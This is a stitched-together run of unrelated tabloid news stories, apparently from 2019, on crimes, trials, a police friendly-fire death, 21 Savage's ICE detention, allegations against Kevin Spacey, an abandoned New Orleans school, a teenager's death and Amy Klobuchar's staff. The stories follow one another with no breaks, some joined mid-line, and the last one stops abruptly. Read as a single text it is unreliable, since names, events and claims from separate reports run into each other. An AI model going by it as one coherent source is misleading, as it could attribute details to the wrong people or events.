The FBI has described Carlson as a 'hot prowl rapist,' saying that he broke into women's homes while they were sleeping and raped them.

Greg Alyn Carlson, 47, died in a shootout with police on Wednesday in North Carolina. He is seen above in photos from 2014 (left) and during his arrest in 2017 (right)

Carlson was arrested in Los Angeles in September 2017 on charges of burglary, assault with intent to commit rape and assault with a deadly weapon.

After posting a $1million bond that was secured by his mother's home, Carlson fled to a family home in South Carolina.

After stealing a gun in Mount Pleasant, South Carolina, he again fled in a rental car with a bundle of cash.

Police were hot on his trail on November 22, 2017, when he led cops on a wild car pursuit in Hoover, Alabama.

Action on a tip, police and FBI agents converged on the Woodspring Suites in Apex (above), where they found an armed Carlson and shot him dead

But as the pursuit reached high speeds, police were forced to terminate it for safety fears, and Carlson slipped away.

He was later seen in Jacksonville, Florida, on November 28, 2017, and in Daytona Beach, Florida, on November 30, 2017.

A federal arrest warrant was issued in the United States District Court, Central District of California, on December 12, 2017, and Carlson was charged with unlawful flight to avoid prosecution.

Carlson was added to the 10 Most Wanted in September 2018.

The FBI suspected that Carlson was behind a number of rapes in the Los Angeles area.A suburban Chicago man has been charged with involuntary manslaughter in the hot tub drowning death of his wife, after police say he was caught on surveillance video partially closing the lid of the tub.

Eric Huska, 58, of Wheeling, was arrested on Saturday night, accused of preventing his wife from getting out of the backyard hot tub.

The Cook County medical examiners office ruled the death of 57-year-old Laura Huska a homicide.

Eric Huska, 58 (left), has been charged with involuntary manslaughter in the hot tub drowning death of his wife, Laura Huska, 57 (pictured together in the hot tub)

Police say home security video showed Eric closing the lid of the hot tub on his distressed wife, after initially trying to help her get out

Police and paramedics were summoned to the huskas' Wheeling, Illinois, home (pictured) Saturday evening

According to Wheeling police, home security video showed the couple drinking in the hot tub at their home in the 300 block of Marion Court for some time before the distressed Laura unsuccessfully tried to get out.

It also showed Eric initially trying to help his wife, but then closing the tubs lid over her head.

Deputy Chief Todd Wolff said the wife was seen in the video struggling against the cover.

Eric returned to the tub about 90 minutes later, opened the lid and found his wife floating in the water.

Eric and Laura had been drinking in the hot tub before the wife unsuccessfully tried to get out

Squeaky clean: Police have no record of service calls to the Huskas' home, and the husband has no history of arrests

Police and paramedics were summoned to the Huskas' home at 6.45pm. Laura was rushed to Glenbrook Hospital, where she was later pronounced dead.

The medical examiner found the victim's manner of death to be drowning by entrapment.

Police have yet to determine a motive, but they say alcohol was a factor, reported Chicago Daily Herald.

Huska appeared in court Tuesday and had his bail set at $10,000.

Police said the husband has no prior criminal history, and they have no record of service calls to the Huska family's home in Wheeling, where the pair have lived since 2003.

According to her LinkedIn profile, Laura Huska worked as an information technology manager for a private firm.

Eric's Facebook page was filled with touching and romantic photos of him and his wife

Recent social media post reveal that Laura and her siblings had just lost their elderly mother a week prior to the hot tub incident.

Eric's Facebook page, which has since been deleted, was filled with romantic photos of him and his wife, including in their backyard hot tub.UBS executive Shele Danishefsky (pictured) was in the midst of divorcing her much younger husband Rod Covlin when she was killed on New Year's Eve in 2009

A retired FDNY lieutenant on Wednesday told jurors in the murder trial of broker turned backgammon pro Rod Covlin that rigor mortis had set in to the body of UBS financial guru Shele Danishefsky by the time first responders arrived at her apartment on New York's Upper West Side.

Retired Lt. Matthew Casey testified he was the first to enter Shele's bathroom to find her body on the floor with Covlin kneeling on the floor between her and the bathtub.

He said Covlin asked him to 'do something'.

But, Casey said, there was nothing to do since rigor mortis had set in.

'She was dead for quite a while,' Casey said.

Shele's family sat stoically in the front row of the courtroom as attorneys displayed the photos, which depicted Shele face up on the floor with her head sitting a puddle of blood-tinged water.

Jurors on Wednesday saw Shele's body, contorted from rigor mortis, lying on the floor next to a bathtub partially filled with apparent blood-tinged water at her New York apartment

Accused murderer Rod Covlin, pictured on Wednesday at Manhattan Supreme Court, is accused of murdering wife Shele to get hold of her $5.4 million fortune

He said when he first got to the apartment, the door was answered by the Covlins' daughter Anna.

'I asked her if her mother was home and she said words to the effect of 'kind of, sort of,' Casey said.

He said the lights were off in the apartment except for the bathroom where Shele's body lay.

Casey's testimony was matched by firefighter William Rix, who made the call not to administer CPR to Shele.

'She's got obvious signs of death, we're not doing CPR,' Rix recounted. He said he reached out with his right hand to check the pulse in She's carotid artery when he noticed blood pooling in her body. He said he grabbed Shele's arm but 'it was completely locked.'

'The body was stiffening for at least a couple of hours,' Rix testified.

FDNY firefighters arrive at Shele Danishefsky's New York's Upper West Side apartment building Dorchester Towers shortly after her body was discovered by daughter Anna at 7.11am

Retired FDNY Lt. Matthew Casey (left) and firefighter William Rix testified on Wednesday

The first police officer on the scene testified Wednesday afternoon that he asked Covlin what had happened.

He said his daughter came and got him and said, Mommy wont wake up, Mommy isnt moving, Police Officer William Irwin said.

He was asked whether he saw any red or blood-like substance on Covlins clothes and Irwin responded that Covlin, who told authorities that he had rolled lifted Shele out of the bloody water in the tub and laid her on the bathroom floor, had a clean white T-shirt on.

Irwin added that both Covlins T-shirt and dark sweat pants were completely dry.

But, he admitted on cross-examination, that he did not feel the fabric to see whether the clothes in fact wet, nor did he recommend to detectives that Covlins clothing be seized.

Earlier on Wednesday jurors were shown video of Covlin leaving the building, known as Dorchester Towers, though the lobby just after 4 a.m. on Dec. 31.

He stopped to ask the lobby attendant whether he wanted anything from the store, according to the testimony of Albert Battle-Figueroa.

'It kind of struck me as strange,' Battle-Figueroa said, noting that he and Covlin had spoken only rarely previously.

He declined Covlin's offer and Covlin said, 'C'mon, man, I know you want something,' Battle Figueroa recounted.

'So I asked for a candy bar,' Battle-Figueroa said.

Assistant District attorney Matthew Bogdanos prodded him for details.

'Snickers.'

About 10 minutes later, Covlin returned carrying a white bag and handed Battle-Figueroa the candy, the concierge testified.

Dorchester Towers doorman Albert Battle-Figueroa told jurors Covlin was unusually friendly towards him when he saw him leave the apartment building at 4am, offering to buy him candy

Video also showed Covlin making a second trip outside that morning, about an hour after the first. He went out via a back door and returned through the lobby since the back door is locked overnight, Battle Figueora said.

Battle-Figueroa's colleague, Louie Melendez, testified that he was on the desk when the Covlins' daughter Anna called down to the lobby at 7:11 a.m. to tell them that an ambulance was coming for Shele and to let the EMTs up to the apartment.

He said the child sounded upset and nervous on the phone.

'Her voice cracked,' Melendez said. 'It sounded like she was crying.'

Melendez can be seen on the video taking the call and later the clip shows fire and emergency medical personnel, including Casey and Rix striding though the lobby on their way to Shele's apartment.

At the time of her death, Rod was 36 and Shele, a UBS executive from a wealthy background, was 47. She was the sole breadwinner and he was pursuing his backgammon passion

Covlin is accused of strangling Shele and faking the scene to look like she had hit her head and drowned in the bathtub in a freak accident on the morning of Dec. 31, 2009  just days after she spoke to a lawyer about the possibility of removing the unemployed Covlin from her will.

Shele's Orthodox Jewish family waived an autopsy and Shele was buried a few days later.

But as suspicions about the circumstances of Shele's death mounted, her body was exhumed and a post mortem examination revealed a fractured hyoid bone in her neck, a telltale sign of strangulation.

Covlin was indicted in 2015 for murder and his trial began last month in Manhattan Supreme Court.

Prosecutors have said Covlin was motivated by 'pure, unadulterated greed' in Shele's death, which occurred just days after she contacted a lawyer to remove Covlin from her will.

If convicted of murdering Shele, Covlin faces 25 years to life.The suspect in a T-Mobile store robbery that led to the death of an NYPD detective has 25 prior arrests, including impersonating an officer, according to reports.

Christopher Ransom, 27, is now in police custody after officer Brian Simonsen, 42, was shot in the chest Tuesday.

Police say that in 2016 Ransom climbed over a gate and walked up to a desk at a Brooklyn police station while wearing a fake SWAT vest and police badge.

In 2016 he was filmed wearing only his underwear and a red cape at a Brooklyn police station, The New York Daily News reports. He told cops there he was a superhero looking to help police.

In the bizarre clip Ransom says: 'I love the law enforcement, man. You guys get paid for it. Ill do it for free. I appreciate the NYPD. All cops are not bad, guys. Some cops are good. I'm a superhero.'

Ransom also pleaded guilty to lying to get a Brooklyn court internship and was caught stalking Brooklyn Supreme Court Judge Patricia DiMango and Judge Ruth Shillingford back in 2013, The New York Post reports.

And records show career criminal Ransom has been arrested at least 11 times since 2012.

Christopher Ransom, pictured, is now in police custody. In 2016 he climbed over a gate and walked up to a desk at a police station wearing a fake SWAT vest and badge, officials say.

Ransom was filmed wearing only his underwear and a red cape at a Brooklyn police station

Ransom told cops there he was a superhero looking to help police in the bizarre clip

Judge DiMangom said at her trial: 'He was obsessed with the idea of getting into the courthouse without passing the magnetometers.

'He would come into my courtroom on various occasions and try to get the attention of the court officers.'

Investigators are also looking into whether he is connected to a separate robbery at a store in Queens last month. He reportedly goes by the nickname 'Detective'.

Officials say seven officers fired a total of 42 rounds during the chaotic scene that resulted in the friendly fire death of detective Simonsen.

Chief of Department Terence Monahan and Force Investigation Division Chief Kevin Maloney gave a briefing on Wednesday, the day after the bloodshed outside a cell phone store in Queens.

Detective Brian Simonsen, 42, (above) was shot and killed during a shootout with an armed robbery suspect at a T-Mobile store in Queens on Tuesday night

Det. Simonsen, who died, and his partner, who was wounded, were among those who pulled the trigger. Five officers captured parts of the incident on body cameras.

Police were responding to a call about an armed robbery at the phone store in Richmond Hill just before 6.15pm when the gun battle broke out.

Det Brian Simonsen, 42, was shot in the chest and later died. Squad Sgt Matthew Gorman was also shot in the hip during the confrontation. It is unclear whether either officer was wearing a bulletproof vest.

Simonsen and Gorman entered the store and were confronted by a suspect wielding what turned out to be a fake gun, Commissioner James O'Neill said at a press conference Tuesday night.

The officers opened fire on the suspect, and as they backed out of the store, they were struck by bullets from cops outside, O'Neill said.

'Make no mistake about it, friendly fire aside, it is because of the actions of the suspect that Detective Simonsen is dead,' the commissioner said as he choked back tears.

The suspect, identified as Ransom of Crown Heights, Brooklyn, was shot 'multiple times' and left critically wounded.

Ransom also pleaded guilty to lying to get a Brooklyn court internship, pictured. He was caught stalking two judges in 2013, not pictured

Records show the man suspected of a robbery, Ransom, pictured, that led to the death of a New York Police Department detective has been arrested at least 11 times since 2012

A police official identified the suspect as Christopher Ransom of Brooklyn

The suspect, identified as 27-year-old Christopher Ransom, was shot 'multiple times' and left critically wounded. He is reportedly in critical condition at New York-Presbyterian Queens hospital. Police say he was carrying a fake firearm

Simonsen (left) and squad Sergeant Matthew Gorman (right) were reportedly struck by friendly fire as they emerged from the T-Mobile store following a confrontation with an armed suspect inside. Gorman was shot in the hip and is reportedly in serious but stable condition

Gunfire erupted after police responded to reports of an armed robbery at the T-Mobile in Richmond Hill around 6.15pm Tuesday

Police salute as the body of Det Simonsen is moved from Jamaica Hospital by ambulance

Commissioner James O'Neill (above) said at a press conference: 'Make no mistake about it, friendly fire aside, it is because of the actions of the suspect that Detective Simonsen is dead'

A witness told the New York Daily News that before police arrived, one of the robbers, dressed in black, could be seen forcing two employees to the back of a T-Mobile store at gunpoint.

Chaos erupted as soon as police pulled up and dozens of shots rang out.

Officers could be heard frantically calling for backup on emergency radio transmissions.

'Shots fired! Shots fired!' one officer exclaimed in audio obtained by the NYDN.

'Central, he's in the store. Hes going to the back He's still in the store, central. He's still in the store.'

The sergeant wounded in the shootout could be heard saying: 'Be advised, I'm shot. The perp's in the location.'

Police officers on the scene had desperately called for a 'blood bank', indicating that at least one of the officers was in need of a life-saving transfusion.

Simonsen, whose 19th anniversary with the department was coming up in March, leaves behind a wife and two children.

'We lost a very good man,' Mayor Bill de Blasio said of the hero detective.

Simonsen's death marks the NYPD's first line-of-duty fatality since 2017.

Dozens of officers were seen hugging and crying in the hospital lobby as Mayor Bill de Blasio arrived shortly after the shooting.

Distraught family members are seen arriving at Jamaica Hospital, where the two officers were brought for treatment after the shooting

Dozens of police officers gathered at the hospital awaiting news about the officers' conditions

Witness video appeared to show officers escorting a suspect out of the store

A heavy police presence remained on the scene hours after the altercation

Mayor Bill Deblasio arriving at Jamaica Hospital in Queens where an NYPD Detective has just been pronounced dead. pic.twitter.com/YOjqhA5lDN  BreakinNewz (@BreakinNewz01) February 13, 2019ROME - The Netherlands asked Italy Wednesday to keep the Sea Watch NGO migrant rescue ship in the port of Catania where it has been since offloading 47 migrants after a standoff with the EU on January 31.

The request came after an inspection on board the German NGO-run, Dutch-flagged ship on February 11-12.

The request was made to the Italian Coast Guard "pending the conclusion of Dutch authorities' further investigation into the compliance of the ship with norms in force, with reference to the suitability to transport a high number of people for long periods of time".Rapper 21 Savage has flown home on a private jet soon after being released from an immigration detention center in Georgia.

The Grammy-nominated rapper, whose given name is She'yaa Bin Abraham-Joseph, was released from the Irwin County Detention Center in Ocilla on Wednesday.

He was pictured posing with his mother, Heather Joseph, as they prepared to board a private jet.

The plane was taking them back to Atlanta to be reunited with family.

21 Savage was released from detention on a $100,000 bond, according to immigration lawyer Tia Smith.

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Rapper 21 Savage was pictured posing with his mother, Heather Joseph, as they prepared to board a private jet following his release from a Georgia ICE prison on Wednesday

It came after he was granted bond by an immigration judge on Tuesday.

The 26-year-old recording artist was arrested on February 3.

ICE officials said the British citizen overstayed his visa and has an October 2014 felony conviction in Fulton County.

His lawyers have said the rapper was brought to the U.S. when he was seven and his legal status expired in 2006 through no fault of his own.

According to his birth certificate, he was born on October 22, 1992, at Newham Hospital, in east London, to British parents, Heather Joseph and Kevin Emmons. He lived in the UK for 12 years before moving to Atlanta, Georgia.

His fans were shocked when he was arrested because they believed that he was born and raised in Atlanta given his thick Georgian accent. He has also never denied claims he was born and bred in the city where he is raising three young children.

The rapper quickly rose in the Atlanta underground music scene after a pair of 2015 mix-tapes. Collaborations with Atlanta artists including Metro Boomin and Offset of rap group Migos raised his profile.

The rapper's birth certificate shows he was born in London on October 22, 1992 at Newham Hospital, to British parents

He has also collaborated with Drake, Cardi B, as well as Post Malone.

ICE officials have accused him of living a 'false' life in the U.S. and said he came legally to America in July 2005 when he was aged 12. Officials said his visa expired a year later and he has lived in the U.S. illegally ever since.

'His whole public persona is false. He actually came to the US from the UK as a teen and overstayed his visa,' an ICE spokesman said.

He had applied for a U-Visa in 2017 and it was still being processed when he was arrested.

21 Savage was released from detention on a $100,000 bond, according to immigration lawyer Tia Smith

ICE officials have also said he's guilty of felony drug charges dating back to October 2014.

His attorneys have disputed that he has a felony conviction for drug charges stemming back to October 2014.

21 Savage was scheduled to perform at Sunday night's Grammy show prior to his arrest.

He was nominated for two awards at the Grammys, including record of the year for 'Rockstar' alongside Post Malone.

His lawyers said Tuesday that he asked them to send a message to his supporters.

'(H)e says that while he wasn't present at the Grammy Awards, he was there in spirit and is grateful for the support from around the world and is more than ever, ready to be with his loved ones and continue making music that brings people together,' they said.

He added that he 'will not forget this ordeal or any of the other fathers, sons, family members, and faceless people, he was locked up with or that remain unjustly incarcerated across the country. And he asks for your hearts and minds to be with them.'

His legal team had previously raised the possibility that 21 Savage was the victim of a vendetta by ICE officials who were angered by his criticism of Trump's family separation policy at the US-Mexico border.

His arrest prompted outcry from other musicians with Kendrick Lamar, DJ Khaled, Cardi B, SZA and Jay-Z all supporting the young rapper.

The Grammy-nominated rapper, whose given name is She'yaa Bin Abraham-Joseph, was released from the Irwin County Detention Center in Ocilla on Wednesday

Other artists, such as Post Malone, showed their support backstage at the Grammys

Jay-Z called the arrest and detention of 21 Savage 'an absolute travesty' earlier this month.

'In addition to being a successful recording artist, 21 deserves to be reunited with his children immediately, #Free21Savage,' Jay-Z wrote in a statement.

Though the rapper isn't signed by Roc Nation, Jay-Z's record label responded to his arrest by hiring attorney Alex Spiro on the case.

His legal team characterized 21 Savage as a 'Dreamer' who has been the victim of a 'great deal of misreporting' that's led to 'false conclusions'.

'Mr Abraham-Joseph has been continuously physically present in the United States for almost 20 years, except for a brief visit abroad,' the statement said, referring to how he was deported for one month in 2005 at age 12 but returned on the H-4 visa.

'Unfortunately, in 2006 Mr Abraham-Joseph lost his legal status through no fault of his own.

Savage called himself a 'Dreamer' before describing how he had 'three US Citizen children' and had been working on a U Visa before he was detained by ICE, in a statement released by his legal team (Pictured: Savage with his father and two sisters as a child)

'Mr Abraham-Joseph, like almost two million of his immigrant child peers, was left without immigration status as a young child with no way to fix his immigration status. These "Dreamers" come from all walks of life and every ethnicity.'

21 Savage's team insist that he has very permanent ties to the country.

'Mr Abraham-Joseph has three US Citizen children, a lawful permanent resident mother and four siblings that are either US Citizens or lawful permanent residents,' the release said.

'He has exceptionally strong ties in the United States, having lived here since he was in the first grade.

His team stated that the rapper was placed in deportation proceedings 'AFTER' his arrest, and that he wasn't on the run from DHS as he had been working towards obtaining a U Visa since 2017.

'This U visa was filed as a result of being the victim of a deadly shooting in 2013. That visa was filed in 2017 and remains pending,' the statement added.

'When granted, the U visa will afford him lawful status in the United States. Generally, ICE has recognized a pending facially valid U visa as a basis to delay removal proceedings and release individuals from custody.'A former student from Towson University is opening up about the night a group of co-eds found themselves partying with Kevin Spacey at the Maryland college.

In an interview with The National Enquirer, the eyewitness reveals that Spacey was uninvited when he showed up at the party back in 2015 wearing a skull cap and sweater.

'We were all in disbelief he was actually there. It caused quite a stir,' said the eyewitness.

That eyewitness also provided proof of Spacey talking to a young man at the party in the form of a photo, in which a female can be see drinking out of a bottle that is shaped like a penis.

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Shafted: A student at Towson University recalled the the time Kevin Spacey showed up uninvited to a party on campus in 2015 (Spacey above at the 2015 party with a co-ed drinking out of a penis-shaped bottle)

This happened a year before he allegedly groped a teen at a Nantucket bar in July 2016 (Spacey leaving his arraignment in January)

Waving through a window: Spacey chats with some of the younger attendees at a party for the cast and crew of Dear Evan Hansen following the Tony Awards in June 2017 (above, with Harvey Weinstein in foreground with his back turned away from camera)

Spacey spent a good deal of time in the area while filming House of Cards.

He later bought a house in Baltimore where he has been holed up for the past year with manager Evan Lowenstein.

On the night in question, it is not clear how he made his way to the college party, but his aims seemed clear to the eyewitness.

Spacey asked that no one take pictures or post on social media, then mingled with some of the guests.

'I could't help but notice he sowed a particular interest in talking to young men at the party,' said the eyewitness.

'He would ignore any girls at the party.'

Spacey was also allegedly looking at one male student with 'an intense stare' as they spoke to hikm.

'He was asking to swap cell phone numbers,' said the eyewitness.

This report comes after an eyewitness told a Nantucket detective that he saw Spacey groping a young man at a bar in 2016.

Police interviews that have been filed in the sexual assault case against Spacey reveal that one man who was at the bar on the night the actor groped a teenage busboy had seen the Oscar winner touching another young man at the same establishment.

Brian Buch, the man who was playing the piano at The Club Car that night did not witness Spacey groping his accuser, but did see him with another man earlier that summer.

A police report that was obtained by DailyMail.com stated: 'Brian told me he witnessed Kevin Spacey touching a male who was celebrating his 21st birthday.'

It went on to state: 'To the left of Spacey was the man and to the right of Spacey were the man's parents. Spacey was talking to both he man and the parents, but while doing so was touching the front of the man's pants "pretty aggressively."'

Buch stated that he had been working that night and was sititng in the back corner after his shift when he watched the incident.

He at no point suggested that Spacey was touching the young man against his will.

Out and about: Spacey had been seen on college campuses while shooting House of Cards (left at the Naval Academy in 2017, right at a college campus in 2016)

Youths: Spacey with the students of a Master Class he taught in 2015, with the actor sharing this image on Facebook (above)

'Brian originally thought Spacey and the man were dating,' noted the officer who conducted the interview.

He also believed that this was the groping incident that was being referred to when news first broke of Spacey's alleged assault.

'Brian said he didn't see Spacey's hands go in the man's pants and it was all in the front of the pants,' read the report.

'Brian said he was about 10 feet from the bar where they were.'

Spacey responded to the allegation that he sexually assaulted a teenager in 2016 in a court filing last month.

The actor stated in a motion obtained by DailyMail.com that the teenager 'claimed he was a 23-year-old student studying business at Wake Forest University' after he 'sought out a friend for the specific purpose of introducing him to [Spacey].'

It went on to state that the teen 'welcomed drinks from [Spacey], let [Spacey] put his arm around him near the piano while they did sing-a-longs and even left the bar to smoke with [Spacey].'

That behavior, combined with the fact that the teen gave Spacey his number, suggested 'mutual and consensual flirting' states the motion.

At no point did Spacey deny groping the young man.

The motion stated that once Spacey began to grope his accuser the teen 'did not object to the alleged touching, he did not ask [Spacey] to stop and he did not remove himself from the situation.'

In the initial filing the accuser said that this was because he froze, and suggested his lack of an erection as proof he was not enjoying the sex act.The surgeon who reattached John Wayne Bobbitt's penis 25 years ago after his wife Lorena cut it off at their home has spoken out to reveal he was never paid for carrying out the procedure nor was the hospital or any of his colleagues.

Dr. Jim Sehn was the on-call on June 23, 1993, when Bobbitt's wife Lorena severed his penis with a kitchen knife while he slept. She later claimed that he had raped her in their home and was drunk and that she was acting out after years of abuse.

Lorena fled their home afterwards, taking the penis with her, then tossed it out of the car window in a field.

It was retrieved by police and later taken to the hospital where Sehn and a plastic surgeon reattached it.

When Bobbitt arrived at the hospital in Manassas, Virginia, he had a sheet covering his groin.

Dr. Jim Sehn was one of the surgeons who reattached John Wayne Bobbitt's penis in 1993. He is shown testifying about the procedure at Lorena Bobbitt's trial afterwards

Sehn, shown in a recent interview, was never paid for the work nor was the hospital where the procedure took place because Bobbitt declared bankruptcy afterwards

'I was the unlucky urologist on call that night in my hospital.

'At 4 in the morning when Bobbitt arrived holding a sheet over his groin, the missing part was usual urological territory, so thats why I got called.

'I was on my way into the emergency room, not knowing much about the case other than that the patient had presented with an amputation of the penis, and at that point in time the organ, the whereabouts of the organ, was completely unknown, so thinking it through on the way into the hospital it looked like I would be doing nothing more than what we call a perineal urethrostomy  in other words, converting to a female plumbing system, which is a pretty brief and quick operation.

'It wasnt until I got into the emergency room that I got a call from the police department that the organ had been found,' Sehn told The Cut in an interview published on Wednesday.

When he learned that the penis was still in tact, he said he was excited because he thought 'we've got a real operation to do'.

The penis had been 'contaminated' in the field, he said, but was in a good condition.

John Wayne Bobbitt was asleep when his wife Lorena attacked him with a kitchen knife. He had been drinking and Lorena says he raped her when he got home. She said she attacked him in a blind rage and 'snapped' after years of domestic abuse

Now: The pair are still speaking about the incident publicly. Bobbitt is shown, left, in a recent interview as is Lorena, right. She has also participated in an Amazon docu-series about it

It took longer than need be for the organ to be brought in because none of the cops who found it first wanted to touch it.

'Whoever in law enforcement found it wouldnt touch it. The law-enforcement people wouldnt touch it.

'They called an EMS squad because they knew those guys always had gloves, and they stood around staring at it, until the ambulance came up and gloves were obtained from the ambulance and they finally had the courage to pick it up, if you can imagine that, and carry it in with gloved hands into the 7-Eleven to put it in the hot dog bag on ice.

'It came in, as they say on ice, and it was very recently amputated,' he recalled.

Within a few hours, he and plastic surgeon Dave Berman were reattaching it in the operating room.

After having his penis reattached, Bobbitt launched a porn career. He had a penis enhancement before filming his second movie, Frankenpenis

'It took us about nine hours to do the case and it went really very nicely,' he said, adding that by the end of the procedure, it was 'pink and doing well.'

Sehn has kept a law profile over the last two decades while Bobbitt relished in his infamy and launched a porn career.

Neither he nor the hospital received any payment from Bobbitt for the lengthy procedure, despite him going on to profit from the crime, because he declared bankruptcy afterwards.

'The other thing that was really disappointing for me was that as soon as John signed up with the media attorneys, there was an attorney that was hired who immediately took John to federal district court in Alexandria and Chapter 11ed all of his debts.

'That meant all the care he got at our hospital  and were not a wealthy hospital, were a suburban hospital  all of his debts went into bankruptcy, so even though $6 million was made on the porn films, none of those bills for Johns medical care were ever paid.

'The hospital and all of the other doctors and nurses were given nothing,' he said.

The physician was disappointed, he said, when Bobbitt underwent liposuction and had an 'enhancement procedure' performed on his reattached organ which left him with scar tissue.

This is the kitchen knife Lorena used to sever her ex-husband's member. She fled with the knife in one hand and the penis in the other afterwards

In his porn film, Frankenpenis, Bobbitt's scars are on display. Sehn said that while he has not seen he film, he was 'disappointed' in it and Bobbitt's decision to alter the corrected penis.

'I was disappointed in, I think it was the second porn film, Frankenpenis, that the surgical result was seriously damaged by liposuction and some kind of an enhancement procedure.

'Ive never seen that film, but apparently it led to a lot of scar tissue. So it was a mixed progression,' he said.

In a recent interview, Bobbitt told how he would have killed himself if he had been left alone in the first few hours after his penis was severed.

'I'm kind of mutilated in the most worst way a man can be mutilated and I was self-terminated, and I was looking for something that can end it with looking around.'Advertisement

These haunting images show the rotting remains of a ghost town orphanage abandoned in the wake of Hurricane Katrina.

Eerie images show empty lockers with school books left behind and rows of damaged chairs still facing the front of the classroom at Holy Cross School in New Orleans.

Other shots of the run-down property show a mural of a young girl on the wall and a student-parent directory emblazoned with the school logo.

Urban explorer Abandoned Southeast took the pictures of the derelict red-brick building showing boarded up windows.

Its dilapidated interiors show creepy dark corridors with rubbish and broken fixtures strewn all over the floors.

Exterior shots of the building show boarded up windows at the site abandoned in 2005 in the wake of Hurricane Katrina

A student-parent directory emblazoned with the school logo was left behind and is now covered in dirt and dust at the school

Other striking shots include a mural of a young girl on the wall among the derelict building

Open lockers with school books left behind were captured in a series of haunting images of an abandoned former orphanage

Rows of damaged chairs still facing the front of the classroom were also pictured at the abandoned school

The building, which dates back to the 1800s, is understood to have been flooded by levee failures on the Industrial Canal due to Hurricane Katrina in 2005.

A new campus was built in 2007 a new site in Gentilly and the old one damaged in Hurricane Katrina was left to rot.

Photographer Abandoned Southeast said: 'Like a majority of New Orleans, Holy Cross was flooded by levee failures on the Industrial Canal due to Hurricane Katrina in 2005.

'The original campus was devastated. In 2007, Holy Cross selected a site for a new campus in Gentilly. Holy Cross remains the only all boys Catholic school in the Greater New Orleans area to offer a comprehensive pre-K through 12th grade education.

'The school has a long history dating back to the 1800s when it was originally an orphanage. In 1837, the Congregation of Holy Cross was founded.

'The Congregation took its name from a district in the city of LeMans, France  Saint Croix or Holy Cross. In 1849, the Archbishop of New Orleans invited five brothers of the Congregation of Holy Cross to New Orleans to assume responsibility for operating St. Mary's Orphanage. The city had been devastated by a series of epidemics: cholera, yellow fever, and malaria.

'In 1859, the congregation purchased Reynes Farm, a riverfront plantation. In 1879, as the need for the orphanage diminished, St. Isidore's College, a boarding and day school was opened. This became the original site on which Holy Cross School stood and it is here that Holy Cross' history officially began. The area has since become a Federal Historic District known as the 'Holy Cross District.'

'The General Assembly of the state of Louisiana chartered the institution on June 20, 1890, empowering it to confer bachelor's and master's degrees. The original administration building was built for $15,000 in 1895. At the suggestion of the Archbishop, St. Isidore's College was renamed and solemnly dedicated as Holy Cross College.

'Two wings were added to the administration building in 1912 to accommodate the incoming students. Holy Cross operated a boarding program until 1972 that attracted as many as 150 student residents each year from across the South as well as from Central and South America.'

The photographs were taken at Holy Cross School in New Orleans by an urban explorer Abandoned Southeast

Holy Cross was flooded by levee failures on the Industrial Canal due to Hurricane Katrina in 2005

A new campus was built in 2007 a new site in Gentilly and the old one damaged in Hurricane Katrina was left to rot

The red-brick exterior of the huge building hides the devastation inside after the storm hit the New Orleans region

Hurricane Katrina 80 per cent of the city buried under water and killed more than 1,500 people

130,000 people were displaced in the aftermath of the storm and buildings were left to rot

The school has a long history dating back to the 1800s when it was originally an orphanage

It was reopened as a boarding and day school as the need for the orphanage diminished

Abandoned Southeast says 'Holy Cross remains the only all boys Catholic school in the Greater New Orleans area to offer a comprehensive pre-K through 12th grade education'

Hurricane Katrina devastated the New Orleans region in 2005 leaving 80 per cent of the city buried under water.

More than 1,500 people were killed with 130,000 more displaced in the after of the storm.

For more information see www.abandonedsoutheast.comThe parents of a troubled teenager finally received a mental health appointment for him after two years of despair - the week after he lay down in the road and was killed by a van.

A serious case review has been launched after 16-year-old James Wood died last July.

Parents Jonathan Wood and Susan Willis from Durham were offered condolences from the coroner at their teenage son's inquest today as questions were raised over the family being failed by the system.

The couple said they 'begged for help' but felt 'pushed to one side' by the professionals they turned to, before James' death.

In an emotional inquest they said he had struggled with his mental health for about two years and despite their best efforts, several agencies had said they could not help.

James Wood (pictured with his father) was killed after two years of his family trying to get help

It was only a week after James' death that the family received a letter from the Child and Adolescent Mental Health Services (CAMHS) to offer the youngster an appointment.

Sitting at County Hall, in Durham, assistant coroner, Tanyka Rawden, heard how James had been out in Durham on July 11 and for some reason had been walking along the A177 between High Shincliffe and Bowburn, with a friend, in the early hours of the following morning.

James lay down in the road and was hit by a van on the unlit stretch of road at about 4.20am. He was taken to hospital but died shortly afterwards from his injuries.

James' parents, of Coxhoe, County Durham, said their son was 'lovely' but had struggled after getting into the wrong crowd.

Mr Wood said his son would 'disappear for days on end' and turn up at home after sleeping rough.

He said: 'It just spiralled. We begged for help and were pushed to one side.

'James would be drawn to the worst people. I tried to get them to section him but they refused until he would engage.

'So we got CAMHS involved and we got the letter for an appointment a week after he died.'

PC Nick Downing told the court the van driver, who was present at the inquest, could not have seen James.

PC Andrew Wells, of the Spennymoor Road Policing Unit, confirmed there was alcohol and cannabis in James' system, as well as a low amount of amphetamine.

A postmortem examination revealed James died from significant head injuries.

Mr Wood said he had also found both threats and offers from drug dealers on James' phone.

Mr Wood said the family had now opened a serious case review with social services.

Mrs Rawden said she could not be certain James had meant to take his own life and concluded he died from a road traffic collision.

She said she would also be asking for a copy of the serious case review to see if any lessons could be learnt.

She said: 'I am quite concerned about some of the things you have been telling me around the lack of support you have been having for the last couple of years.

'I am so sorry for your loss, I cannot imagine what you have been through the last couple of years but James was lucky to have such amazing parents who fought so hard for him.'

Anyone who needs help can call Samaritans night or day on 116 123 (UK), or visit them online by clicking here.Sen. Amy Klobuchar would call her former staffers' new employers and try to get the employment offers rescinded, it's been revealed Wednesday as the Democratic presidential candidate deals with fallout from tales she is a bad boss.

More former staffers to the senator are speaking up about what it's like working for her after an initial report she forced aides to wash dishes and was a mean manager of her employees.

Staff told tales of office harassment, including objects thrown, sometimes directly at other people, along with outbursts of anger from the senator.

More reports about Sen. Amy Klobuchar's management techniques reveal she would call new employers to try and get her staffers' offers rescinded

Sen. Amy Klobuchar made her presidential announcement on a snowy day at an outdoor event on Boom Island, a park that juts into the Mississippi River in Minneapolis

Speaking out about their work life could lead to retribution from Klobuchar, former staffers told Yahoo! News, adding that the senator would get angry at aides who found other work and try to get their new offers pulled.

'The way she treats staff is disqualifying,' a former staffer told the news website of the senator's presidential bid.

A minor mistake in an internal document could lead to a 'multi-day affair,' one former staffer said.

Other staffers described harassing late-night phone calls and critical emails written in all caps, sometimes sent in quick succession.

Klobuchar has pushed back at the criticism by saying she is a 'tough boss' with 'high expectations.'

